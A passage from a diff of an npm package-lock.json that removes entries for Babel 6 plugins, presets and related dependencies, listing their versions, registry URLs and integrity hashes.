"node_modules/babel-plugin-dynamic-import-node": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/babel-plugin-dynamic-import-node/-/babel-plugin-dynamic-import-node-2.3.3.tgz", - "integrity": "sha512-jZVI+s9Zg3IqA/kdi0i6UDCybUI3aSBLnglhYbSSjKlV7yF1F/5LWv8MakQmvYpnbJDS6fcBL2KzHSxNCMtWSQ==", - "dev": true, - "dependencies": { - "object.assign": "^4.1.0" - } - }, - "node_modules/babel-plugin-syntax-async-functions": { - "version": "6.13.0", - "resolved": "https://registry.npmjs.org/babel-plugin-syntax-async-functions/-/babel-plugin-syntax-async-functions-6.13.0.tgz", - "integrity": "sha1-ytnK0RkbWtY0vzCuCHI5HgZHvpU=" - }, - "node_modules/babel-plugin-syntax-async-generators": { - "version": "6.13.0", - "resolved": "https://registry.npmjs.org/babel-plugin-syntax-async-generators/-/babel-plugin-syntax-async-generators-6.13.0.tgz", - "integrity": "sha1-a8lj67FuzLrmuStZbrfzXDQqi5o=" - }, - "node_modules/babel-plugin-syntax-class-properties": { - "version": "6.13.0", - "resolved": "https://registry.npmjs.org/babel-plugin-syntax-class-properties/-/babel-plugin-syntax-class-properties-6.13.0.tgz", - "integrity": "sha1-1+sjt5oxf4VDlixQW4J8fWysJ94=" - }, - "node_modules/babel-plugin-syntax-decorators": { - "version": "6.13.0", - "resolved": "https://registry.npmjs.org/babel-plugin-syntax-decorators/-/babel-plugin-syntax-decorators-6.13.0.tgz", - "integrity": "sha1-MSVjtNvePMgGzuPkFszurd0RrAs=" - }, - "node_modules/babel-plugin-syntax-dynamic-import": { - "version": "6.18.0", - "resolved": "https://registry.npmjs.org/babel-plugin-syntax-dynamic-import/-/babel-plugin-syntax-dynamic-import-6.18.0.tgz", - "integrity": "sha1-jWomIpyDdFqZgqRBBRVyyqF5sdo=" - }, - "node_modules/babel-plugin-syntax-exponentiation-operator": { - "version": "6.13.0", - "resolved": "https://registry.npmjs.org/babel-plugin-syntax-exponentiation-operator/-/babel-plugin-syntax-exponentiation-operator-6.13.0.tgz", - "integrity": "sha1-nufoM3KQ2pUoggGmpX9BcDF4MN4=" - }, - "node_modules/babel-plugin-syntax-flow": { - "version": "6.18.0", - "resolved": "https://registry.npmjs.org/babel-plugin-syntax-flow/-/babel-plugin-syntax-flow-6.18.0.tgz", - "integrity": "sha1-TDqyCiryaqIM0lmVw5jE63AxDI0=", - "dev": true - }, - "node_modules/babel-plugin-syntax-jsx": { - "version": "6.18.0", - "resolved": "https://registry.npmjs.org/babel-plugin-syntax-jsx/-/babel-plugin-syntax-jsx-6.18.0.tgz", - "integrity": "sha1-CvMqmm4Tyno/1QaeYtew9Y0NiUY=", - "dev": true - }, - "node_modules/babel-plugin-syntax-object-rest-spread": { - "version": "6.13.0", - "resolved": "https://registry.npmjs.org/babel-plugin-syntax-object-rest-spread/-/babel-plugin-syntax-object-rest-spread-6.13.0.tgz", - "integrity": "sha1-/WU28rzhODb/o6VFjEkDpZe7O/U=" - }, - "node_modules/babel-plugin-syntax-trailing-function-commas": { - "version": "6.22.0", - "resolved": "https://registry.npmjs.org/babel-plugin-syntax-trailing-function-commas/-/babel-plugin-syntax-trailing-function-commas-6.22.0.tgz", - "integrity": "sha1-ugNgk3+NBuQBgKQ/4NVhb/9TLPM=" - }, - "node_modules/babel-plugin-transform-async-generator-functions": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-async-generator-functions/-/babel-plugin-transform-async-generator-functions-6.24.1.tgz", - "integrity": "sha1-8FiQAUX9PpkHpt3yjaWfIVJYpds=", - "dependencies": { - "babel-helper-remap-async-to-generator": "^6.24.1", - "babel-plugin-syntax-async-generators": "^6.5.0", - "babel-runtime": "^6.22.0" - } - }, - "node_modules/babel-plugin-transform-async-to-generator": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-async-to-generator/-/babel-plugin-transform-async-to-generator-6.24.1.tgz", - "integrity": "sha1-ZTbjeK/2yx1VF6wOQOs+n8jQh2E=", - "dependencies": { - "babel-helper-remap-async-to-generator": "^6.24.1", - "babel-plugin-syntax-async-functions": "^6.8.0", - "babel-runtime": "^6.22.0" - } - }, - "node_modules/babel-plugin-transform-class-properties": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-class-properties/-/babel-plugin-transform-class-properties-6.24.1.tgz", - "integrity": "sha1-anl2PqYdM9NvN7YRqp3vgagbRqw=", - "dependencies": { - "babel-helper-function-name": "^6.24.1", - "babel-plugin-syntax-class-properties": "^6.8.0", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1" - } - }, - "node_modules/babel-plugin-transform-decorators": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-decorators/-/babel-plugin-transform-decorators-6.24.1.tgz", - "integrity": "sha1-eIAT2PjGtSIr33s0Q5Df13Vp4k0=", - "dependencies": { - "babel-helper-explode-class": "^6.24.1", - "babel-plugin-syntax-decorators": "^6.13.0", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1", - "babel-types": "^6.24.1" - } - }, - "node_modules/babel-plugin-transform-es2015-arrow-functions": { - "version": "6.22.0", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-arrow-functions/-/babel-plugin-transform-es2015-arrow-functions-6.22.0.tgz", - "integrity": "sha1-RSaSy3EdX3ncf4XkQM5BufJE0iE=", - "dev": true, - "dependencies": { - "babel-runtime": "^6.22.0" - } - }, - "node_modules/babel-plugin-transform-es2015-block-scoped-functions": { - "version": "6.22.0", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-block-scoped-functions/-/babel-plugin-transform-es2015-block-scoped-functions-6.22.0.tgz", - "integrity": "sha1-u8UbSflk1wy42OC5ToICRs46YUE=", - "dev": true, - "dependencies": { - "babel-runtime": "^6.22.0" - } - }, - "node_modules/babel-plugin-transform-es2015-block-scoping": { - "version": "6.26.0", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-block-scoping/-/babel-plugin-transform-es2015-block-scoping-6.26.0.tgz", - "integrity": "sha1-1w9SmcEwjQXBL0Y4E7CgnnOxiV8=", - "dev": true, - "dependencies": { - "babel-runtime": "^6.26.0", - "babel-template": "^6.26.0", - "babel-traverse": "^6.26.0", - "babel-types": "^6.26.0", - "lodash": "^4.17.4" - } - }, - "node_modules/babel-plugin-transform-es2015-block-scoping/node_modules/lodash": { - "version": "4.17.10", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", - "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==", - "dev": true - }, - "node_modules/babel-plugin-transform-es2015-classes": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-classes/-/babel-plugin-transform-es2015-classes-6.24.1.tgz", - "integrity": "sha1-WkxYpQyclGHlZLSyo7+ryXolhNs=", - "dev": true, - "dependencies": { - "babel-helper-define-map": "^6.24.1", - "babel-helper-function-name": "^6.24.1", - "babel-helper-optimise-call-expression": "^6.24.1", - "babel-helper-replace-supers": "^6.24.1", - "babel-messages": "^6.23.0", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1" - } - }, - "node_modules/babel-plugin-transform-es2015-computed-properties": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-computed-properties/-/babel-plugin-transform-es2015-computed-properties-6.24.1.tgz", - "integrity": "sha1-b+Ko0WiV1WNPTNmZttNICjCBWbM=", - "dev": true, - "dependencies": { - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1" - } - }, - "node_modules/babel-plugin-transform-es2015-destructuring": { - "version": "6.23.0", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-destructuring/-/babel-plugin-transform-es2015-destructuring-6.23.0.tgz", - "integrity": "sha1-mXux8auWf2gtKwh2/jWNYOdlxW0=", - "dev": true, - "dependencies": { - "babel-runtime": "^6.22.0" - } - }, - "node_modules/babel-plugin-transform-es2015-duplicate-keys": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-duplicate-keys/-/babel-plugin-transform-es2015-duplicate-keys-6.24.1.tgz", - "integrity": "sha1-c+s9MQypaePvnskcU3QabxV2Qj4=", - "dev": true, - "dependencies": { - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1" - } - }, - "node_modules/babel-plugin-transform-es2015-for-of": { - "version": "6.23.0", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-for-of/-/babel-plugin-transform-es2015-for-of-6.23.0.tgz", - "integrity": "sha1-9HyVsrYT3x0+zC/bdXNiPHUkhpE=", - "dev": true, - "dependencies": { - "babel-runtime": "^6.22.0" - } - }, - "node_modules/babel-plugin-transform-es2015-function-name": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-function-name/-/babel-plugin-transform-es2015-function-name-6.24.1.tgz", - "integrity": "sha1-g0yJhTvDaxrw86TF26qU/Y6sqos=", - "dev": true, - "dependencies": { - "babel-helper-function-name": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1" - } - }, - "node_modules/babel-plugin-transform-es2015-literals": { - "version": "6.22.0", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-literals/-/babel-plugin-transform-es2015-literals-6.22.0.tgz", - "integrity": "sha1-T1SgLWzWbPkVKAAZox0xklN3yi4=", - "dev": true, - "dependencies": { - "babel-runtime": "^6.22.0" - } - }, - "node_modules/babel-plugin-transform-es2015-modules-amd": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-modules-amd/-/babel-plugin-transform-es2015-modules-amd-6.24.1.tgz", - "integrity": "sha1-Oz5UAXI5hC1tGcMBHEvS8AoA0VQ=", - "dev": true, - "dependencies": { - "babel-plugin-transform-es2015-modules-commonjs": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1" - } - }, - "node_modules/babel-plugin-transform-es2015-modules-commonjs": { - "version": "6.26.2", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-modules-commonjs/-/babel-plugin-transform-es2015-modules-commonjs-6.26.2.tgz", - "integrity": "sha512-CV9ROOHEdrjcwhIaJNBGMBCodN+1cfkwtM1SbUHmvyy35KGT7fohbpOxkE2uLz1o6odKK2Ck/tz47z+VqQfi9Q==", - "dev": true, - "dependencies": { - "babel-plugin-transform-strict-mode": "^6.24.1", - "babel-runtime": "^6.26.0", - "babel-template": "^6.26.0", - "babel-types": "^6.26.0" - } - }, - "node_modules/babel-plugin-transform-es2015-modules-systemjs": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-modules-systemjs/-/babel-plugin-transform-es2015-modules-systemjs-6.24.1.tgz", - "integrity": "sha1-/4mhQrkRmpBhlfXxBuzzBdlAfSM=", - "dev": true, - "dependencies": { - "babel-helper-hoist-variables": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1" - } - }, - "node_modules/babel-plugin-transform-es2015-modules-umd": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-modules-umd/-/babel-plugin-transform-es2015-modules-umd-6.24.1.tgz", - "integrity": "sha1-rJl+YoXNGO1hdq22B9YCNErThGg=", - "dev": true, - "dependencies": { - "babel-plugin-transform-es2015-modules-amd": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1" - } - }, - "node_modules/babel-plugin-transform-es2015-object-super": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-object-super/-/babel-plugin-transform-es2015-object-super-6.24.1.tgz", - "integrity": "sha1-JM72muIcuDp/hgPa0CH1cusnj40=", - "dev": true, - "dependencies": { - "babel-helper-replace-supers": "^6.24.1", - "babel-runtime": "^6.22.0" - } - }, - "node_modules/babel-plugin-transform-es2015-parameters": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-parameters/-/babel-plugin-transform-es2015-parameters-6.24.1.tgz", - "integrity": "sha1-V6w1GrScrxSpfNE7CfZv3wpiXys=", - "dev": true, - "dependencies": { - "babel-helper-call-delegate": "^6.24.1", - "babel-helper-get-function-arity": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1" - } - }, - "node_modules/babel-plugin-transform-es2015-shorthand-properties": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-shorthand-properties/-/babel-plugin-transform-es2015-shorthand-properties-6.24.1.tgz", - "integrity": "sha1-JPh11nIch2YbvZmkYi5R8U3jiqA=", - "dev": true, - "dependencies": { - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1" - } - }, - "node_modules/babel-plugin-transform-es2015-spread": { - "version": "6.22.0", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-spread/-/babel-plugin-transform-es2015-spread-6.22.0.tgz", - "integrity": "sha1-1taKmfia7cRTbIGlQujdnxdG+NE=", - "dev": true, - "dependencies": { - "babel-runtime": "^6.22.0" - } - }, - "node_modules/babel-plugin-transform-es2015-sticky-regex": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-sticky-regex/-/babel-plugin-transform-es2015-sticky-regex-6.24.1.tgz", - "integrity": "sha1-AMHNsaynERLN8M9hJsLta0V8zbw=", - "dev": true, - "dependencies": { - "babel-helper-regex": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1" - } - }, - "node_modules/babel-plugin-transform-es2015-template-literals": { - "version": "6.22.0", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-template-literals/-/babel-plugin-transform-es2015-template-literals-6.22.0.tgz", - "integrity": "sha1-qEs0UPfp+PH2g51taH2oS7EjbY0=", - "dev": true, - "dependencies": { - "babel-runtime": "^6.22.0" - } - }, - "node_modules/babel-plugin-transform-es2015-typeof-symbol": { - "version": "6.23.0", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-typeof-symbol/-/babel-plugin-transform-es2015-typeof-symbol-6.23.0.tgz", - "integrity": "sha1-3sCfHN3/lLUqxz1QXITfWdzOs3I=", - "dev": true, - "dependencies": { - "babel-runtime": "^6.22.0" - } - }, - "node_modules/babel-plugin-transform-es2015-unicode-regex": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-unicode-regex/-/babel-plugin-transform-es2015-unicode-regex-6.24.1.tgz", - "integrity": "sha1-04sS9C6nMj9yk4fxinxa4frrNek=", - "dev": true, - "dependencies": { - "babel-helper-regex": "^6.24.1", - "babel-runtime": "^6.22.0", - "regexpu-core": "^2.0.0" - } - }, - "node_modules/babel-plugin-transform-exponentiation-operator": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-exponentiation-operator/-/babel-plugin-transform-exponentiation-operator-6.24.1.tgz", - "integrity": "sha1-KrDJx/MJj6SJB3cruBP+QejeOg4=", - "dependencies": { - "babel-helper-builder-binary-assignment-operator-visitor": "^6.24.1", - "babel-plugin-syntax-exponentiation-operator": "^6.8.0", - "babel-runtime": "^6.22.0" - } - }, - "node_modules/babel-plugin-transform-flow-strip-types": { - "version": "6.22.0", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-flow-strip-types/-/babel-plugin-transform-flow-strip-types-6.22.0.tgz", - "integrity": "sha1-hMtnKTXUNxT9wyvOhFaNh0Qc988=", - "dev": true, - "dependencies": { - "babel-plugin-syntax-flow": "^6.18.0", - "babel-runtime": "^6.22.0" - } - }, - "node_modules/babel-plugin-transform-object-rest-spread": { - "version": "6.26.0", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-object-rest-spread/-/babel-plugin-transform-object-rest-spread-6.26.0.tgz", - "integrity": "sha1-DzZpLVD+9rfi1LOsFHgTepY7ewY=", - "dependencies": { - "babel-plugin-syntax-object-rest-spread": "^6.8.0", - "babel-runtime": "^6.26.0" - } - }, - "node_modules/babel-plugin-transform-react-display-name": { - "version": "6.25.0", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-react-display-name/-/babel-plugin-transform-react-display-name-6.25.0.tgz", - "integrity": "sha1-Z+K/Hx6ck6sI25Z5LgU5K/LMKNE=", - "dev": true, - "dependencies": { - "babel-runtime": "^6.22.0" - } - }, - "node_modules/babel-plugin-transform-react-jsx": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-react-jsx/-/babel-plugin-transform-react-jsx-6.24.1.tgz", - "integrity": "sha1-hAoCjn30YN/DotKfDA2R9jduZqM=", - "dev": true, - "dependencies": { - "babel-helper-builder-react-jsx": "^6.24.1", - "babel-plugin-syntax-jsx": "^6.8.0", - "babel-runtime": "^6.22.0" - } - }, - "node_modules/babel-plugin-transform-react-jsx-self": { - "version": "6.22.0", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-react-jsx-self/-/babel-plugin-transform-react-jsx-self-6.22.0.tgz", - "integrity": "sha1-322AqdomEqEh5t3XVYvL7PBuY24=", - "dev": true, - "dependencies": { - "babel-plugin-syntax-jsx": "^6.8.0", - "babel-runtime": "^6.22.0" - } - }, - "node_modules/babel-plugin-transform-react-jsx-source": { - "version": "6.22.0", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-react-jsx-source/-/babel-plugin-transform-react-jsx-source-6.22.0.tgz", - "integrity": "sha1-ZqwSFT9c0tF7PBkmj0vwGX9E7NY=", - "dev": true, - "dependencies": { - "babel-plugin-syntax-jsx": "^6.8.0", - "babel-runtime": "^6.22.0" - } - }, - "node_modules/babel-plugin-transform-regenerator": { - "version": "6.26.0", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-regenerator/-/babel-plugin-transform-regenerator-6.26.0.tgz", - "integrity": "sha1-4HA2lvveJ/Cj78rPi03KL3s6jy8=", - "dev": true, - "dependencies": { - "regenerator-transform": "^0.10.0" - } - }, - "node_modules/babel-plugin-transform-runtime": { - "version": "6.23.0", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-runtime/-/babel-plugin-transform-runtime-6.23.0.tgz", - "integrity": "sha1-iEkNRGUC6puOfvsP4J7E2ZR5se4=", - "dev": true, - "dependencies": { - "babel-runtime": "^6.22.0" - } - }, - "node_modules/babel-plugin-transform-strict-mode": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-strict-mode/-/babel-plugin-transform-strict-mode-6.24.1.tgz", - "integrity": "sha1-1fr3qleKZbvlkc9e2uBKDGcCB1g=", - "dev": true, - "dependencies": { - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1" - } - }, - "node_modules/babel-polyfill": { - "version": "6.26.0", - "resolved": "https://registry.npmjs.org/babel-polyfill/-/babel-polyfill-6.26.0.tgz", - "integrity": "sha1-N5k3q8Z9eJWXCtxiHyhM2WbPIVM=", - "dev": true, - "dependencies": { - "babel-runtime": "^6.26.0", - "core-js": "^2.5.0", - "regenerator-runtime": "^0.10.5" - } - }, - "node_modules/babel-polyfill/node_modules/regenerator-runtime": { - "version": "0.10.5", - "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.10.5.tgz", - "integrity": "sha1-M2w+/BIgrc7dosn6tntaeVWjNlg=", - "dev": true - }, - "node_modules/babel-preset-env": { - "version": "1.7.0", - "resolved": "https://registry.npmjs.org/babel-preset-env/-/babel-preset-env-1.7.0.tgz", - "integrity": "sha512-9OR2afuKDneX2/q2EurSftUYM0xGu4O2D9adAhVfADDhrYDaxXV0rBbevVYoY9n6nyX1PmQW/0jtpJvUNr9CHg==", - "dev": true, - "dependencies": { - "babel-plugin-check-es2015-constants": "^6.22.0", - "babel-plugin-syntax-trailing-function-commas": "^6.22.0", - "babel-plugin-transform-async-to-generator": "^6.22.0", - "babel-plugin-transform-es2015-arrow-functions": "^6.22.0", - "babel-plugin-transform-es2015-block-scoped-functions": "^6.22.0", - "babel-plugin-transform-es2015-block-scoping": "^6.23.0", - "babel-plugin-transform-es2015-classes": "^6.23.0", - "babel-plugin-transform-es2015-computed-properties": "^6.22.0", - "babel-plugin-transform-es2015-destructuring": "^6.23.0", - "babel-plugin-transform-es2015-duplicate-keys": "^6.22.0", - "babel-plugin-transform-es2015-for-of": "^6.23.0", - "babel-plugin-transform-es2015-function-name": "^6.22.0", - "babel-plugin-transform-es2015-literals": "^6.22.0", - "babel-plugin-transform-es2015-modules-amd": "^6.22.0", - "babel-plugin-transform-es2015-modules-commonjs": "^6.23.0", - "babel-plugin-transform-es2015-modules-systemjs": "^6.23.0", - "babel-plugin-transform-es2015-modules-umd": "^6.23.0", - "babel-plugin-transform-es2015-object-super": "^6.22.0", - "babel-plugin-transform-es2015-parameters": "^6.23.0", - "babel-plugin-transform-es2015-shorthand-properties": "^6.22.0", - "babel-plugin-transform-es2015-spread": "^6.22.0", - "babel-plugin-transform-es2015-sticky-regex": "^6.22.0", - "babel-plugin-transform-es2015-template-literals": "^6.22.0", - "babel-plugin-transform-es2015-typeof-symbol": "^6.23.0", - "babel-plugin-transform-es2015-unicode-regex": "^6.22.0", - "babel-plugin-transform-exponentiation-operator": "^6.22.0", - "babel-plugin-transform-regenerator": "^6.22.0", - "browserslist": "^3.2.6", - "invariant": "^2.2.2", - "semver": "^5.3.0" - } - }, - "node_modules/babel-preset-es2015": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-preset-es2015/-/babel-preset-es2015-6.24.1.tgz", - "integrity": "sha1-1EBQ1rwsn+6nAqrzjXJ6AhBTiTk=", - "deprecated": "🙌 Thanks for using Babel: we recommend using babel-preset-env now: please read https://babeljs.io/env to update!", - "dev": true, - "dependencies": { - "babel-plugin-check-es2015-constants": "^6.22.0", - "babel-plugin-transform-es2015-arrow-functions": "^6.22.0", - "babel-plugin-transform-es2015-block-scoped-functions": "^6.22.0", - "babel-plugin-transform-es2015-block-scoping": "^6.24.1", - "babel-plugin-transform-es2015-classes": "^6.24.1", - "babel-plugin-transform-es2015-computed-properties": "^6.24.1", - "babel-plugin-transform-es2015-destructuring": "^6.22.0", - "babel-plugin-transform-es2015-duplicate-keys": "^6.24.1", - "babel-plugin-transform-es2015-for-of": "^6.22.0", - "babel-plugin-transform-es2015-function-name": "^6.24.1", - "babel-plugin-transform-es2015-literals": "^6.22.0", - "babel-plugin-transform-es2015-modules-amd": "^6.24.1", - "babel-plugin-transform-es2015-modules-commonjs": "^6.24.1", - "babel-plugin-transform-es2015-modules-systemjs": "^6.24.1", - "babel-plugin-transform-es2015-modules-umd": "^6.24.1", - "babel-plugin-transform-es2015-object-super": "^6.24.1", - "babel-plugin-transform-es2015-parameters": "^6.24.1", - "babel-plugin-transform-es2015-shorthand-properties": "^6.24.1", - "babel-plugin-transform-es2015-spread": "^6.22.0", - "babel-plugin-transform-es2015-sticky-regex": "^6.24.1", - "babel-plugin-transform-es2015-template-literals": "^6.22.0", - "babel-plugin-transform-es2015-typeof-symbol": "^6.22.0", - "babel-plugin-transform-es2015-unicode-regex": "^6.24.1", - "babel-plugin-transform-regenerator": "^6.24.1" - } - }, - "node_modules/babel-preset-flow": { - "version": "6.23.0", - "resolved": "https://registry.npmjs.org/babel-preset-flow/-/babel-preset-flow-6.23.0.tgz", - "integrity": "sha1-5xIYiHCFrpoktb5Baa/7WZgWxJ0=", - "dev": true, - "dependencies": { - "babel-plugin-transform-flow-strip-types": "^6.22.0" - } - }, - "node_modules/babel-preset-react": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-preset-react/-/babel-preset-react-6.24.1.tgz", - "integrity": "sha1-umnfrqRfw+xjm2pOzqbhdwLJE4A=", - "dev": true, - "dependencies": { - "babel-plugin-syntax-jsx": "^6.3.13", - "babel-plugin-transform-react-display-name": "^6.23.0", - "babel-plugin-transform-react-jsx": "^6.24.1", - "babel-plugin-transform-react-jsx-self": "^6.22.0", - "babel-plugin-transform-react-jsx-source": "^6.22.0", - "babel-preset-flow": "^6.23.0" - } - }, - "node_modules/babel-preset-stage-2": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-preset-stage-2/-/babel-preset-stage-2-6.24.1.tgz", - "integrity": "sha1-2eKWD7PXEYfw5k7sYrwHdnIZvcE=", - "dependencies": { - "babel-plugin-syntax-dynamic-import": "^6.18.0", - "babel-plugin-transform-class-properties": "^6.24.1", - "babel-plugin-transform-decorators": "^6.24.1", - "babel-preset-stage-3": "^6.24.1" - } - }, - "node_modules/babel-preset-stage-3": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-preset-stage-3/-/babel-preset-stage-3-6.24.1.tgz", - "integrity": "sha1-g2raCp56f6N8sTj7kyb4eTSkg5U=", - "dependencies": { - "babel-plugin-syntax-trailing-function-commas": "^6.22.0", - "babel-plugin-transform-async-generator-functions": "^6.24.1", - "babel-plugin-transform-async-to-generator": "^6.24.1", - "babel-plugin-transform-exponentiation-operator": "^6.24.1", - "babel-plugin-transform-object-rest-spread": "^6.22.0" - } - }, - "node_modules/babel-register": { - "version": "6.26.0", - "resolved": "https://registry.npmjs.org/babel-register/-/babel-register-6.26.0.tgz", - "integrity": "sha1-btAhFz4vy0htestFxgCahW9kcHE=", - "dev": true, - "dependencies": { - "babel-core": "^6.26.0", - "babel-runtime": "^6.26.0", - "core-js": "^2.5.0", - "home-or-tmp": "^2.0.0", - "lodash": "^4.17.4", - "mkdirp": "^0.5.1", - "source-map-support": "^0.4.15" - } - }, - "node_modules/babel-register/node_modules/lodash": { - "version": "4.17.10", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", - "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==", - "dev": true - }, - "node_modules/babel-runtime": { - "version": "6.26.0", - "resolved": "https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.26.0.tgz", - "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", - "dependencies": { - "core-js": "^2.4.0", - "regenerator-runtime": "^0.11.0" - } - }, - "node_modules/babel-template": { - "version": "6.26.0", - "resolved": "https://registry.npmjs.org/babel-template/-/babel-template-6.26.0.tgz", - "integrity": "sha1-3gPi0WOWsGn0bdn/+FIfsaDjXgI=", - "dependencies": { - "babel-runtime": "^6.26.0", - "babel-traverse": "^6.26.0", - "babel-types": "^6.26.0", - "babylon": "^6.18.0", - "lodash": "^4.17.4" - } - }, - "node_modules/babel-template/node_modules/lodash": { - "version": "4.17.10", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", - "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==" - }, - "node_modules/babel-traverse": { - "version": "6.26.0", - "resolved": "https://registry.npmjs.org/babel-traverse/-/babel-traverse-6.26.0.tgz", - "integrity": "sha1-RqnL1+3MYsjlwGTi0tjQ9ANXZu4=", - "dependencies": { - "babel-code-frame": "^6.26.0", - "babel-messages": "^6.23.0", - "babel-runtime": "^6.26.0", - "babel-types": "^6.26.0", - "babylon": "^6.18.0", - "debug": "^2.6.8", - "globals": "^9.18.0", - "invariant": "^2.2.2", - "lodash": "^4.17.4" - } - }, - "node_modules/babel-traverse/node_modules/lodash": { - "version": "4.17.10", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", - "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==" - }, - "node_modules/babel-types": { - "version": "6.26.0", - "resolved": "https://registry.npmjs.org/babel-types/-/babel-types-6.26.0.tgz", - "integrity": "sha1-o7Bz+Uq0nrb6Vc1lInozQ4BjJJc=", - "dependencies": { - "babel-runtime": "^6.26.0", - "esutils": "^2.0.2", - "lodash": "^4.17.4", - "to-fast-properties": "^1.0.3" - } - }, - "node_modules/babel-types/node_modules/lodash": { - "version": "4.17.10", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", - "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==" - }, - "node_modules/babel-walk": { - "version": "3.0.0-canary-5", - "resolved": "https://registry.npmjs.org/babel-walk/-/babel-walk-3.0.0-canary-5.tgz", - "integrity": "sha512-GAwkz0AihzY5bkwIY5QDR+LvsRQgB/B+1foMPvi0FZPMl5fjD7ICiznUiBdLYMH1QYe6vqu4gWYytZOccLouFw==", - "dev": true, - "dependencies": { - "@babel/types": "^7.9.6" - }, - "engines": { - "node": ">= 10.0.0" - } - }, - "node_modules/babylon": { - "version": "6.18.0", - "resolved": "https://registry.npmjs.org/babylon/-/babylon-6.18.0.tgz", - "integrity": "sha1-ry87iPpvXB5MY00aD46sT1WzleM=", - "bin": { - "babylon": "bin/babylon.js" - } - }, - "node_modules/balanced-match": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.0.tgz", - "integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c=", - "dev": true - }, - "node_modules/base": { - "version": "0.11.2", - "resolved": "https://registry.npmjs.org/base/-/base-0.11.2.tgz", - "integrity": 